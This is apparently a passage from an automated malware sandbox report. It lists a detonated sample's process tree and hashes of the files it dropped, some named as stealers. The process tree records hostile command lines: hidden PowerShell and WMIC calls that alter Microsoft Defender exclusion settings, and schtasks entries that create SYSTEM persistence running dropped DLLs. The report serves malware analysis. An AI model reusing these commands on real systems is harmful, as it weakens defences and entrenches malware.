                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                        PID:1136
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                          4⤵
                                                                                                            PID:4520
                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                              powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                              5⤵
                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                              • Drops file in System32 directory
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              • Modifies data under HKEY_USERS
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:2084
                                                                                                              • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                6⤵
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:128
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                        schtasks /DELETE /F /TN "bdLMAcyiuofwZlrejw"
                                                                                                        2⤵
                                                                                                          PID:4764
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                          2⤵
                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                          PID:3400
                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                            forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                            3⤵
                                                                                                            • Indirect Command Execution
                                                                                                            PID:1080
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                              4⤵
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              PID:2836
                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                5⤵
                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                • Drops file in System32 directory
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:2188
                                                                                                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                  "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                  6⤵
                                                                                                                    PID:1096
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ZTBxIWbqU\dAwlTf.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "yFAmEcnxfnVDyRq" /V1 /F
                                                                                                            2⤵
                                                                                                            • Drops file in Windows directory
                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                            PID:1412
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /CREATE /TN "yFAmEcnxfnVDyRq2" /F /xml "C:\Program Files (x86)\ZTBxIWbqU\VNLOHtB.xml" /RU "SYSTEM"
                                                                                                            2⤵
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                            PID:2272
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /END /TN "yFAmEcnxfnVDyRq"
                                                                                                            2⤵
                                                                                                              PID:2156
                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                              schtasks /DELETE /F /TN "yFAmEcnxfnVDyRq"
                                                                                                              2⤵
                                                                                                                PID:1360
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /CREATE /TN "wCWAFWPNMRSlGi" /F /xml "C:\Program Files (x86)\OKRdpmURQpaU2\XVgdGQB.xml" /RU "SYSTEM"
                                                                                                                2⤵
                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                PID:2468
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /CREATE /TN "YfaQiAlrfROcW2" /F /xml "C:\ProgramData\VyxcWyOuWaibjkVB\agJvXBn.xml" /RU "SYSTEM"
                                                                                                                2⤵
                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                PID:1176
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /CREATE /TN "KPgtsQxhyWIiFNlMf2" /F /xml "C:\Program Files (x86)\xOBlloqpUQIzwZLwmJR\yMfLndn.xml" /RU "SYSTEM"
                                                                                                                2⤵
                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                PID:3464
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /CREATE /TN "VYhVIgyxLhHQmjZJVHg2" /F /xml "C:\Program Files (x86)\smKXxMfqpieUC\AxCSftX.xml" /RU "SYSTEM"
                                                                                                                2⤵
                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                PID:2116
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /CREATE /TN "RNbHXMWSUrQEjcGVS" /SC once /ST 06:31:23 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\AkGJDxGRiCChDkCg\fMUEmMrc\SEANApk.dll\",#1 /KGpdidMPTr 385104" /V1 /F
                                                                                                                2⤵
                                                                                                                • Drops file in Windows directory
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                PID:440
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /run /I /tn "RNbHXMWSUrQEjcGVS"
                                                                                                                2⤵
                                                                                                                  PID:4608
                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                  schtasks /DELETE /F /TN "voUEtHYOOZwJsxqeG"
                                                                                                                  2⤵
                                                                                                                    PID:2324
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 3576 -s 2668
                                                                                                                    2⤵
                                                                                                                    • Program crash
                                                                                                                    PID:3076
                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 352 -p 960 -ip 960
                                                                                                                  1⤵
                                                                                                                    PID:2364
                                                                                                                  • C:\Windows\system32\rundll32.EXE
                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\AkGJDxGRiCChDkCg\fMUEmMrc\SEANApk.dll",#1 /KGpdidMPTr 385104
                                                                                                                    1⤵
                                                                                                                      PID:2164
                                                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                        C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\AkGJDxGRiCChDkCg\fMUEmMrc\SEANApk.dll",#1 /KGpdidMPTr 385104
                                                                                                                        2⤵
                                                                                                                        • Blocklisted process makes network request
                                                                                                                        • Checks BIOS information in registry
                                                                                                                        • Loads dropped DLL
                                                                                                                        • Enumerates system info in registry
                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                        PID:4224
                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                          schtasks /DELETE /F /TN "RNbHXMWSUrQEjcGVS"
                                                                                                                          3⤵
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          PID:1380
                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4100 -ip 4100
                                                                                                                      1⤵
                                                                                                                        PID:2708
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3576 -ip 3576
                                                                                                                        1⤵
                                                                                                                          PID:576
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
                                                                                                                          C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
                                                                                                                          1⤵
                                                                                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                          • Checks BIOS information in registry
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Identifies Wine through registry keys
                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                          PID:3404
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\0ae19c9b3d\Hkbsse.exe
                                                                                                                          C:\Users\Admin\AppData\Local\Temp\0ae19c9b3d\Hkbsse.exe
                                                                                                                          1⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:1672

                                                                                                                        Network

                                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                                        Replay Monitor

                                                                                                                        Loading Replay Monitor...

                                                                                                                        Downloads

                                                                                                                        • C:\$RECYCLE.BIN\S-1-5-18\desktop.ini

                                                                                                                          Filesize

                                                                                                                          129B

                                                                                                                          MD5

                                                                                                                          a526b9e7c716b3489d8cc062fbce4005

                                                                                                                          SHA1

                                                                                                                          2df502a944ff721241be20a9e449d2acd07e0312

                                                                                                                          SHA256

                                                                                                                          e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066

                                                                                                                          SHA512

                                                                                                                          d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88

                                                                                                                        • C:\Program Files (x86)\OKRdpmURQpaU2\XVgdGQB.xml

                                                                                                                          Filesize

                                                                                                                          2KB

                                                                                                                          MD5

                                                                                                                          940a5fbd1faae4860526574d02c676d0

                                                                                                                          SHA1

                                                                                                                          2bd5c0c5915c89fcb6b4480c3cb4e9317d09939e

                                                                                                                          SHA256

                                                                                                                          76fd368a6d2e92e49ed8ddece2e35973d02dd5803cdff0419df7bfbe51e099f8

                                                                                                                          SHA512

                                                                                                                          bae1ffce3c468e2d7b70d970f1ed1dbf86e99e5a4483320275b22e81f4ee8fe265a9cf9de65942a4df73feebd4f53ac3eca981c6a154f8b092dce705c1091ef3

                                                                                                                        • C:\Program Files (x86)\ZTBxIWbqU\VNLOHtB.xml

                                                                                                                          Filesize

                                                                                                                          2KB

                                                                                                                          MD5

                                                                                                                          062541c4f894ee76a29f9394f03c4d9d

                                                                                                                          SHA1

                                                                                                                          a797724ccccfad2519333027749e571597165517

                                                                                                                          SHA256

                                                                                                                          8e447e43d462b9f19dff8d17b3d0e3e064790dbfcd6bebaa0511b9165fb65fe7

                                                                                                                          SHA512

                                                                                                                          7ea95814a9b1ecd419bd5bc3e6a5ed8c47e1cebeda4b3d8173cbd7ada6d47b9739f31a356c4996b58e5e95992741b01231229ff9091072d105ddf4537d8ffa6a

                                                                                                                        • C:\Program Files (x86)\smKXxMfqpieUC\AxCSftX.xml

                                                                                                                          Filesize

                                                                                                                          2KB

                                                                                                                          MD5

                                                                                                                          5868870331fe977e81363322c6c0b380

                                                                                                                          SHA1

                                                                                                                          c56d8b062aad68220c4ebc9206412d45a645b907

                                                                                                                          SHA256

                                                                                                                          b443c14984b0facee5a3b98bbe15a5f65cb33f10f4959512c2850b4b006ca367

                                                                                                                          SHA512

                                                                                                                          cfdabb008f94508b93fa3712b000d51a678cd74fc2231d2f917545bf264ca7ff30e139e34939890381c2e68471e06ecd9031a67eb8acce69ca0f617c130cc5a7

                                                                                                                        • C:\Program Files (x86)\xOBlloqpUQIzwZLwmJR\yMfLndn.xml

                                                                                                                          Filesize

                                                                                                                          2KB

                                                                                                                          MD5

                                                                                                                          4bd9a4a2ffbe855ce1fe8dfde39e541c

                                                                                                                          SHA1

                                                                                                                          b1fcf9079bee80af634099a95589edce88059007

                                                                                                                          SHA256

                                                                                                                          fca3b3175f514f6ec9c80bbd501c8f47aeccf446867abdde4fc85cfc0b37c828

                                                                                                                          SHA512

                                                                                                                          6274f5025806f57de1fb73d0d9f5eb3060f01c53c28f4407bb7e75dc1f472498b13881c679788c47a320629023be6e89890b85c4fdaaad24b85a317ff7e6bc10

                                                                                                                        • C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

                                                                                                                          Filesize

                                                                                                                          2.0MB

                                                                                                                          MD5

                                                                                                                          ec6a3d430298a25afbdaacbb01658bda

                                                                                                                          SHA1

                                                                                                                          e028fb5e75a95ca205003408b440a43f496dc886

                                                                                                                          SHA256

                                                                                                                          fa694259c0b3961a917d5fee8129e11f70b441ff7903f4e5216a124e8fd60bb8

                                                                                                                          SHA512

                                                                                                                          870d9cf4c8c2cb89374ab7b9bf3af2a4ce9123c819f9d1feef941b25ea9d39b10909a12fb3def1a1a1711fce433b3e0b70e1236d589f546ba21eb1cc51ee13c3

                                                                                                                        • C:\ProgramData\VyxcWyOuWaibjkVB\agJvXBn.xml

                                                                                                                          Filesize

                                                                                                                          2KB

                                                                                                                          MD5

                                                                                                                          d6b86f8ace4208f08e4f8ce1d1cbb712

                                                                                                                          SHA1

                                                                                                                          fd38ce0f1894a6b678100f45342d0e17717ce5ed

                                                                                                                          SHA256

                                                                                                                          1a758a2641af21a71fedde3690c8bab313bf183ee5c0d8efb067a4d650a01138

                                                                                                                          SHA512

                                                                                                                          334060db20db6f12f0b0afd079360bb4a64d1cb040398e2a2f42f837d87995d4384a7a60554468ef6b1c3534d47f176cd509ce3a41029449379bc76a6cf61454

                                                                                                                        • C:\ProgramData\mozglue.dll

                                                                                                                          Filesize

                                                                                                                          593KB

                                                                                                                          MD5

                                                                                                                          c8fd9be83bc728cc04beffafc2907fe9

                                                                                                                          SHA1

                                                                                                                          95ab9f701e0024cedfbd312bcfe4e726744c4f2e

                                                                                                                          SHA256

                                                                                                                          ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

                                                                                                                          SHA512

                                                                                                                          fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

                                                                                                                        • C:\ProgramData\nss3.dll

                                                                                                                          Filesize

                                                                                                                          2.0MB

                                                                                                                          MD5

                                                                                                                          1cc453cdf74f31e4d913ff9c10acdde2

                                                                                                                          SHA1

                                                                                                                          6e85eae544d6e965f15fa5c39700fa7202f3aafe

                                                                                                                          SHA256

                                                                                                                          ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

                                                                                                                          SHA512

                                                                                                                          dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

                                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

                                                                                                                          Filesize

                                                                                                                          187B

                                                                                                                          MD5

                                                                                                                          2a1e12a4811892d95962998e184399d8

                                                                                                                          SHA1

                                                                                                                          55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                          SHA256

                                                                                                                          32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                          SHA512

                                                                                                                          bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json

                                                                                                                          Filesize

                                                                                                                          136B

                                                                                                                          MD5

                                                                                                                          238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                          SHA1

                                                                                                                          0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                          SHA256

                                                                                                                          801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                          SHA512

                                                                                                                          2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json

                                                                                                                          Filesize

                                                                                                                          150B

                                                                                                                          MD5

                                                                                                                          0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                          SHA1

                                                                                                                          6a51537cef82143d3d768759b21598542d683904

                                                                                                                          SHA256

                                                                                                                          0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                          SHA512

                                                                                                                          5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

                                                                                                                          Filesize

                                                                                                                          31KB

                                                                                                                          MD5

                                                                                                                          98624d2732743e34d074f74a28db5762

                                                                                                                          SHA1

                                                                                                                          bcb188cc395b3452746d95a6fa12181b9442dcdf

                                                                                                                          SHA256

                                                                                                                          70ec0f88f86020035183e2f50e36a5c15ae69c24d8904312da7c346f92eae743

                                                                                                                          SHA512

                                                                                                                          a3d2f3752d94702de02e3283b56d913671fb8898f18a042893efa2bf688ba7260399ac83d1c3d988ff79763f15aba27b01edd744ec05f8c74f45bac56b573f44

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

                                                                                                                          Filesize

                                                                                                                          2KB

                                                                                                                          MD5

                                                                                                                          627073ee3ca9676911bee35548eff2b8

                                                                                                                          SHA1

                                                                                                                          4c4b68c65e2cab9864b51167d710aa29ebdcff2e

                                                                                                                          SHA256

                                                                                                                          85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

                                                                                                                          SHA512

                                                                                                                          3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                          Filesize

                                                                                                                          1KB

                                                                                                                          MD5

                                                                                                                          faa2dd409bb88491b6c57728dbf8a673

                                                                                                                          SHA1

                                                                                                                          6095f074030e7599cb1f9c251c62e2c0d1fb7418

                                                                                                                          SHA256

                                                                                                                          955d02ee998eae94048f3a1b33c8eedc73276ef0a179efb1cebc970d9af0df09

                                                                                                                          SHA512

                                                                                                                          0ab69299400998bc05fe7074b2c9b01162db9343deab22b502a26c47a054d2ca42918908fcc77a8cc5d275c17635508d546c3f65d857f37a7331ec9c32a766ce

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json

                                                                                                                          Filesize

                                                                                                                          151B

                                                                                                                          MD5

                                                                                                                          bd6b60b18aee6aaeb83b35c68fb48d88

                                                                                                                          SHA1

                                                                                                                          9b977a5fbf606d1104894e025e51ac28b56137c3

                                                                                                                          SHA256

                                                                                                                          b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55

                                                                                                                          SHA512

                                                                                                                          3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                          Filesize

                                                                                                                          944B

                                                                                                                          MD5

                                                                                                                          1a9fa92a4f2e2ec9e244d43a6a4f8fb9

                                                                                                                          SHA1

                                                                                                                          9910190edfaccece1dfcc1d92e357772f5dae8f7

                                                                                                                          SHA256

                                                                                                                          0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

                                                                                                                          SHA512

                                                                                                                          5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                          Filesize

                                                                                                                          15KB

                                                                                                                          MD5

                                                                                                                          46be4494ef455144f673fd30bcf22c9a

                                                                                                                          SHA1

                                                                                                                          ca51e139aaa13a683f89c20c6c2b5e0e84ecbb50

                                                                                                                          SHA256

                                                                                                                          b3702bc76f80f3273ac8c583bb08b62a8205bd39bfb59f543d6b54752815bda0

                                                                                                                          SHA512

                                                                                                                          2680f3710fb9b7baea1870c4b0e6c28afe4b678c51e71b101e6fb229234d74e5942353e6cb3c814e8d25d719adeb55f34d71a911bb652cf26253cdeb7a928545

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                          Filesize

                                                                                                                          11KB

                                                                                                                          MD5

                                                                                                                          7455a884d45940988013dcfda7efae67

                                                                                                                          SHA1

                                                                                                                          3c0760afeb7493140917913046de5e8ea62f35d7

                                                                                                                          SHA256

                                                                                                                          d5b2e5b211d112472b7ccc9d746d9afe55772bfe75c2dc569bf75d702a05ca9d

                                                                                                                          SHA512

                                                                                                                          20034f6559c4ac29415bf77fd55d82cf26d0f9e9e83d2332d7d30956422d291c42eff3469bc939b7cf4ef75ea0f29f76a1870adc9543e3cb062ad8e801ab7ddd

                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe

                                                                                                                          Filesize

                                                                                                                          954KB

                                                                                                                          MD5

                                                                                                                          e71c0c5d72455dde6510ba23552d7d2f

                                                                                                                          SHA1

                                                                                                                          4dff851c07a9f9ebc9e71b7f675cc20b06a2439c

                                                                                                                          SHA256

                                                                                                                          de1d7fe86a0b70a7a268d2960109833f4d126d5d9e3acb36697e8ff59c56017f

                                                                                                                          SHA512

                                                                                                                          c6f4b1eb353a554ca49bab5e894a4d7c46e2674d32f2f0d5a9231400d14a9ea5604c079193cd0bed9fea409bb71b5779c0c03671e104cb0740fe8ade3e530ca6

                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe

                                                                                                                          Filesize

                                                                                                                          1.4MB

                                                                                                                          MD5

                                                                                                                          04e90b2cf273efb3f6895cfcef1e59ba

                                                                                                                          SHA1

                                                                                                                          79afcc39db33426ee8b97ad7bfb48f3f2e4c3449

                                                                                                                          SHA256

                                                                                                                          e015f535c8a9fab72f2e06863c559108b1a25af90468cb9f80292c3ba2c33f6e

                                                                                                                          SHA512

                                                                                                                          72aa08242507f6dd39822a34c68d6185927f6772a3fc03a0850d7c8542b21a43e176f29e5fbb3a4e54bc02fa68c807a01091158ef68c5a2f425cc432c95ea555

                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\1000005001\newalp.exe

                                                                                                                          Filesize

                                                                                                                          416KB

                                                                                                                          MD5

                                                                                                                          6093bb59e7707afe20ca2d9b80327b49

                                                                                                                          SHA1

                                                                                                                          fd599fa9d5ef5c980a445fc6c19efd1fcb80f2bc

                                                                                                                          SHA256

                                                                                                                          3acc0b21db1f774d15a1f1d8080aff0b8f83eefb70c5c673f1c6ed7b676cd6d3

                                                                                                                          SHA512

                                                                                                                          d28808686f73bcc13b8ad57c84585b9d55d1b6445807023897be45f229bcab89971fb320223772fa500a692ad0b6106eaa0b4cf35e807038a6050994106d18e1

                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\1000050001\06082025.exe

                                                                                                                          Filesize

                                                                                                                          304KB

                                                                                                                          MD5

                                                                                                                          0d76d08b0f0a404604e7de4d28010abc

                                                                                                                          SHA1

                                                                                                                          ef4270c06b84b0d43372c5827c807641a41f2374

                                                                                                                          SHA256

                                                                                                                          6dcda2619b61b0cafbfdebb7fbb82c8c2c0b3f9855a4306782874625d6ff067e

                                                                                                                          SHA512

                                                                                                                          979e0d3ec0dad1cc2acd5ec8b0a84a5161e46ee7a30f99d9a3ff3b7ce4eec7f5fa1f11fbe2a84267a7263e04434f4fc7fabc7858ef4c0b7667aeb6dcd3aa7165

                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default.exe

                                                                                                                          Filesize

                                                                                                                          187KB

                                                                                                                          MD5

                                                                                                                          e78239a5b0223499bed12a752b893cad

                                                                                                                          SHA1

                                                                                                                          a429b46db791f433180ae4993ebb656d2f9393a4

                                                                                                                          SHA256

                                                                                                                          80befdb25413d68adbadd8f236a2e8c71b261d8befc04c99749e778b07bcde89

                                                                                                                          SHA512

                                                                                                                          cee5d5d4d32e5575852a412f6b3e17f8c0cbafe97fd92c7024934234a23c240dcc1f7a0452e2e5da949dec09dcfeb006e73862c5bbc549a2ab1cfb0241eaddfc

                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\1000069001\FILE2233.exe

                                                                                                                          Filesize

                                                                                                                          3.2MB

                                                                                                                          MD5

                                                                                                                          03fe60596aa8f9b633ac360fd9ec42d8

                                                                                                                          SHA1

                                                                                                                          1e7bc8d80c7a2a315639b09d332a549dc7ddcb4b

                                                                                                                          SHA256

                                                                                                                          e731f79ee3512fefe48e53b4424145efc6a1b2585220b9c6025038d5f1263055

                                                                                                                          SHA512

                                                                                                                          d6f080881874112c2876ed691a6c725ce0cc87196934fd8fa9ff488619c84e6e4a9c244c0840999b6a6cce95b4b7375648cf3011d79927e90a0c786895c0cfdf

                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\1000090001\MYNEWRDX.exe

                                                                                                                          Filesize

                                                                                                                          304KB

                                                                                                                          MD5

                                                                                                                          0f02da56dab4bc19fca05d6d93e74dcf

                                                                                                                          SHA1

                                                                                                                          a809c7e9c3136b8030727f128004aa2c31edc7a9

                                                                                                                          SHA256

                                                                                                                          e1d0fe3bada7fdec17d7279e6294731e2684399905f05e5a3449ba14542b1379

                                                                                                                          SHA512

                                                                                                                          522ec9042680a94a73cefa56e7902bacb166e23484f041c9e06dce033d3d16d13f7508f4d1e160c81198f61aa8c9a5aecfa62068150705ecf4803733f7e01ded

                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe

                                                                                                                          Filesize

                                                                                                                          1.8MB

                                                                                                                          MD5

                                                                                                                          ee8904b675f96658c010ec91c94102c6

                                                                                                                          SHA1

                                                                                                                          1838a28a91645768f1b186ef05ad797dd29fda12

                                                                                                                          SHA256

                                                                                                                          60a0bf469a1dbe408434a2fbe9b7b2cfb0ee06160a180e543e45cc8e982ff107

                                                                                                                          SHA512

                                                                                                                          1a6ec563191939662fafd46a976c694a6881c402d2c8c1103e50dfa093f6c40cb136cd0578b5a7b355c62efe50603bbe4128e801f5566451353a31ca25bde336

                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS1410.tmp\Install.exe

                                                                                                                          Filesize

                                                                                                                          6.4MB

                                                                                                                          MD5

                                                                                                                          798dd27164f54ab701283d330da98092

                                                                                                                          SHA1

                                                                                                                          0acbeb548b88f9df639e774c44fc230f4f595394

                                                                                                                          SHA256

                                                                                                                          0f1edf399605f92e60da27fbe28ff665a3de2047a239b81e22878e17ec4a632e

                                                                                                                          SHA512

                                                                                                                          a9e7f7bf8b24524b9b5c54c02abe4c56b03f3834cab30820bc74123abfb0e8516b7a8aa818b757df24c5f25e5c481e85c258caba8415b16112037f63ad67aefb

                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS17F8.tmp\Install.exe

                                                                                                                          Filesize

                                                                                                                          6.8MB

                                                                                                                          MD5

                                                                                                                          b1e833de5cfa99195151835974717228

                                                                                                                          SHA1

                                                                                                                          f1f01b7eb96bf13dc7c2d2129d7a9601914b75be

                                                                                                                          SHA256

                                                                                                                          eac05b09e521a2e090054050b30686d1df1dc09333c73d299aed57a7a553e1fd

                                                                                                                          SHA512

                                                                                                                          3b3d5d22ebc23138a2d0b5c7f1af6cf26ab9931cebbf3b4bedd4ffc81f8172e7aad8c51ee8215915dd4f714689df17b36f096f5e0eb82476ce6d63365a9a21f9

                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_whmzvj4f.5iq.ps1

                                                                                                                          Filesize

                                                                                                                          60B

                                                                                                                          MD5

                                                                                                                          d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                          SHA1

                                                                                                                          6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                          SHA256

                                                                                                                          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                          SHA512

                                                                                                                          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                        • C:\Users\Admin\AppData\Roaming\0zwMQZV3j5.exe

                                                                                                                          Filesize

                                                                                                                          503KB

                                                                                                                          MD5

